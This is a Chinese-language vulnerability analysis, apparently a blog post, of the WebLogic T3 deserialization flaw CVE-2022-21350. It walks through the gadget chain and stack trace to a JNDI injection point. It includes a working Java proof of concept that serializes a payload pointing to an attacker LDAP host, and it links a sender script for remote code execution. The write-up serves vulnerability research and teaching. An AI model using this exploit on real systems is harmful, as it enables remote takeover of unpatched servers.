简介

Oracle Fusion Middleware(组件:Core)的 Oracle WebLogic Server 产品中的漏洞。易于利用的漏洞允许未经身份验证的攻击者通过 T3 访问网络来破坏 Oracle WebLogic Server。成功攻击此漏洞可导致对某些 Oracle WebLogic Server 可访问数据的未经授权的更新、插入或删除访问,以及导致 Oracle WebLogic Server 的部分拒绝服务(部分 DOS)的未经授权的能力。

漏洞版本

WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

环境搭建

本次测试环境选择12.2.1.4.0jdk1.8.0_181

jdk版本过高会导致命令执行失败,最好是JDK<1.8.191

地址如下:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

然后直接java -jar fmw_12.2.1.4.0_wls_lite_generic.jar 即可

环境搭在ubuntu虚拟机里,接下来拷一下weblogic源码,使用java -jar wljarbuilder.jar创建wlfullclient.jar并和cryptoj.jar一起放入本地idea项目中

当时调试环境就因为源码不全导致一直出bug

漏洞分析

调用链如下

javax.management.BadAttributeValueExpException.readObject()
    weblogic.servlet.internal.session.SessionData.toString()
        weblogic.servlet.internal.session.SessionData.isDebuggingSession()
            weblogic.servlet.internal.session.SessionData.getAttribute()
                weblogic.servlet.internal.session.SessionData.getAttributeInternal()
                    weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject()
                        weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects()
                            weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject()
                                weblogic.ejb20.internal.HomeHandleImpl.getEJBHome()
                                    javax.naming.Context.lookup()

这是一条新的gadget,我从调用链来一步步分析
首先我们来看javax.management.BadAttributeValueExpException#readObject,里面会跟进到toString()方法中,这个在cc链中经常用到,也就是说我们想进入那个类的toString()就给val进行赋值,值为该类的对象

接下来进入weblogic.servlet.internal.session.SessionData#toString方法,会先进行isValid()判断,主要判断HttpSession是否有效,有效的话会进入this.isDebuggingSession()里进行判断。因为SessionData是抽象类,因此在构造poc时我们可以通过其子类进行构造,可以使用FileSessionData

接下来跟进this.isDebuggingSession(),会先进行registry.isProductionMode()判断本地注册表,因为本次是远程调试,因此会直接进入到this.getAttribute("wl_debug_session")

继续跟进到this.getAttribute("wl_debug_session"),会进行this.check(name)判断传进来的name值是否有效和是否为空,接下来会在this.getSecurityModuleAttribute(name)判断值是否为weblogic.formauth.targeturl,不等的话返回null,然后进入到this.getAttributeInternal(name)

继续跟进到this.getAttributeInternal(name),进行两次空值判断后会进入到AttributeWrapperUtils.unwrapObject(name, (AttributeWrapper)中,其中this.attributes是一个Map,也就是说在构造poc时,new一个Map对象,对应的值分别为this.getAttribute("wl_debug_session")中的wl_debug_session和一个AttributeWrapper类型的对象

继续跟进到weblogic.servlet.internal.session.AttributeWrapperUtils#unwrapObject中,会先获取传进来的Object o,然后对其进行判断,最后进入wrapper.isEJBObjectWrapped()中进行判断,而其是一个boolean类型的变量,因此在构造poc时给其赋值true,进入到unwrapEJBObjects()

继续跟进到unwrapEJBObjects(),在该函数内,会对传进来的Object进行判断,而我们需要进入到getBusinessObject(),因此在构造poc时,构造一个BusinessHandle的实现类,这里先继续往下跟

继续跟进到weblogic.ejb.container.internal.BusinessHandleImpl#getBusinessObject中,因为this.businessObjectthis.primaryKey初始变量都为null,则进入到this.homeHandle.getEJBHome()。到这里后看上一步需要构造一个BusinessHandle的实现类,此时的话就要new一个BusinessHandleImpl对象

继续跟进到weblogic.ejb20.internal.HomeHandleImpl#getEJBHome中,ctx.lookup()到这里就很明了了,JNDI注入点,而this.jndiNamthis.serverURL我们可控,自此整条链子分析完成

堆栈如下

getInstance:41, EnvironmentManager (weblogic.jndi.spi)
getContext:353, Environment (weblogic.jndi)
getContext:322, Environment (weblogic.jndi)
getInitialContext:131, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
getEJBHome:66, HomeHandleImpl (weblogic.ejb20.internal)
getBusinessObject:160, BusinessHandleImpl (weblogic.ejb.container.internal)
unwrapEJBObjects:149, AttributeWrapperUtils (weblogic.servlet.internal.session)
unwrapObject:122, AttributeWrapperUtils (weblogic.servlet.internal.session)
getAttributeInternal:568, SessionData (weblogic.servlet.internal.session)
getAttribute:547, SessionData (weblogic.servlet.internal.session)
isDebuggingSession:1525, SessionData (weblogic.servlet.internal.session)
toString:1537, SessionData (weblogic.servlet.internal.session)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞复现

POC如下

package com.supeream;

import weblogic.ejb.container.internal.BusinessHandleImpl;
import weblogic.ejb20.internal.HomeHandleImpl;
import weblogic.servlet.internal.AttributeWrapper;
import weblogic.servlet.internal.session.FileSessionData;
import weblogic.servlet.internal.session.SessionData;

import javax.management.BadAttributeValueExpException;
import javax.naming.CompoundName;
import javax.naming.Name;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ConcurrentHashMap;

public class CVE_2022_21350 {
    public static void main(String[] args) throws Exception {

        // 过this.isValid()
// 构造HomeHandleImpl,sink点
        HomeHandleImpl homeHandle = new HomeHandleImpl();
        Field serverURLF = homeHandle.getClass().getDeclaredField("serverURL");
        serverURLF.setAccessible(true);
        serverURLF.set(homeHandle, "t3://127.0.0.1:7001/");

        Properties props = new Properties();
        Name name = new CompoundName("ldap://192.168.1.177:1389/vntyei", props);
        Field jndiNameF = homeHandle.getClass().getDeclaredField("jndiName");
        jndiNameF.setAccessible(true);
        jndiNameF.set(homeHandle, name);

// homeHandle设置到BusinessHandleImpl
        BusinessHandleImpl businessHandle = new BusinessHandleImpl();
        Field homeHandleF = businessHandle.getClass().getDeclaredField("homeHandle");
        homeHandleF.setAccessible(true);
        homeHandleF.set(businessHandle, homeHandle);

        AttributeWrapper attributeWrapper = new AttributeWrapper(businessHandle);
        attributeWrapper.setEJBObjectWrapped(true);

        Map map = new ConcurrentHashMap<String, Object>();
        map.put("wl_debug_session", attributeWrapper);

        SessionData sessionData = new FileSessionData();
        Field attributesF = sessionData.getClass().getSuperclass().getDeclaredField("attributes");
        attributesF.setAccessible(true);
        attributesF.set(sessionData, map);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, sessionData);
        serialize(badAttributeValueExpException);

    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.flush();
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

这里使用的是Y4er师傅写的python脚本和框架,链接在下面,在分析复现时Y4er师傅帮了我很多,非常感谢!!!

https://github.com/Y4er/CVE-2020-2555

在这里是通过序列化生成一个test.ser,然后通过python脚本发送到目标服务器,达到RCE的效果

参考链接

  1. https://www.yuque.com/docs/share/efea1bd4-b0a2-4632-b2a3-e2ae4b1482a9?#vSNs7
点击收藏 | 2 关注 | 1
登录 后跟帖